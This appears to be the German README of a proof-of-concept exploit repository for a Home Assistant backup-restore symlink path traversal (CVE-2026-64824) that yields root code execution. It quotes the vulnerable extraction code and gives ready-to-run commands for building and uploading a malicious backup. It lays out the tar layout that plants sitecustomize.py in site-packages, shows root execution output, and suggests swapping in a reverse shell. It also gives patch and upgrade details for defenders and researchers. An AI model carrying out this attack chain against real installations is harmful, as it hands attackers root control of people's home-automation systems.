
CVE-2026-64824 — Home Assistant Backup-Wiederherstellung Symlink-Pfadtraversal → Root-RCE. Erster funktionierender PoC, verifiziert auf echter HA 2026.5.4 (sitecustomize.py-Überschreibung). GHSA-cwh8-w64c-4j5h
CVSS 8.4 (Critical) · GHSA-cwh8-w64c-4j5h · CWE-22 / CWE-59
Ein authentifizierter (Admin-)Angreifer lädt ein manipuliertes Backup-Tar hoch. Der Restore-Pfad extrahiert das innere homeassistant.tar.gz mit filter="fully_trusted" und validiert nur die Namen der Mitglieder — niemals die Linknamen von SYMTYPE. Ein Symlink, der auf einen absoluten Pfad zeigt (z. B. Pythons site-packages/), wird berücksichtigt, sodass eine danach geschriebene sitecustomize.py außerhalb des Extraktionsverzeichnisses als root landet (das offizielle Docker-Image führt HA als root aus). Beim nächsten Python-Start wird sie automatisch importiert → RCE als root.
✅ Echtes Home Assistant Core 2026.5.4 (Docker, arm64, Python 3.14.2):
POST /api/backup/upload?agent_id=backup.local → 201 {"backup_id": "..."}
websocket backup/restore → executed (config replaced)
$ python3 -c 'print(1)'
$ ls -la /tmp/HA_PWNED_64824
-rw-r--r-- 1 root root 130 ... /tmp/HA_PWNED_64824
$ cat /tmp/HA_PWNED_64824
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),...
✅ sitecustomize.py landete in /usr/local/lib/python3.14/site-packages/ (im Besitz von root)
✅ Negativtest: Das tarfile von Python 3.14.5 lehnt absolute Symlinks ab (FileExistsError); Python 3.14.2 (mit HA 2026.5.x ausgeliefert) extrahiert sie — deshalb sind ältere Builds ausnutzbar. Behoben in HA 2026.7.0.
homeassistant/backup_restore.py (~v2026.5.x):
istf.extractall(
path=Path(tempdir, "homeassistant"),
members=securetar.secure_path(istf), # validates member.name only!
filter="fully_trusted",
)
# ... shutil.copytree(Path(tempdir, "homeassistant", "data"), config_dir, ...)
secure_path() lehnt absolute Namen und ..-Traversal ab, aber ein SYMTYPE-Mitglied mit harmlosem Namen + absolutem Linknamen passiert den Filter unverändert, und fully_trusted weist tarfile an, es nicht zu überwachen.
# 1. Build malicious backup from a real HA backup
python3 CVE-2026-64824.py --build --backup real_backup.tar -o evil.tar \
--link-target /usr/local/lib/python3.14/site-packages/
# 2. Upload + restore (token = long-lived access token)
python3 CVE-2026-64824.py --target http://ha:8123 --token <LLAT> --backup real_backup.tar
Backup-Format (v2, entspricht echten HA-Backups):
outer: ./backup.json {version:2, type:partial, compressed:true, protected:false}
outer: homeassistant.tar.gz
inner: data/evil_link -> /usr/local/lib/python3.14/site-packages/ (SYMTYPE)
inner: data/evil_link/sitecustomize.py (payload)
Jeder Start eines Python-Prozesses (HA-Neustart, python3 ... im Container) löst sitecustomize.py aus — das id > /tmp/HA_PWNED_64824 als root ausführt. Tausche das Payload gegen eine Reverse Shell aus, um die volle Kontrolle zu erhalten.
Upgrade auf HA 2026.7.0+ (die Wiederherstellung verwendet jetzt einen strengen Tar-Filter, der Symlink-Einträge ablehnt, die aus dem Extraktionsverzeichnis herausführen).
Nur für Forschungs-/Bildungszwecke. Die Schwachstelle wurde bereits offengelegt (GHSA-cwh8-w64c-4j5h) und in 2026.7.0 behoben; dieses Repository demonstriert die Ausnutzungskette für Verteidiger und Forscher.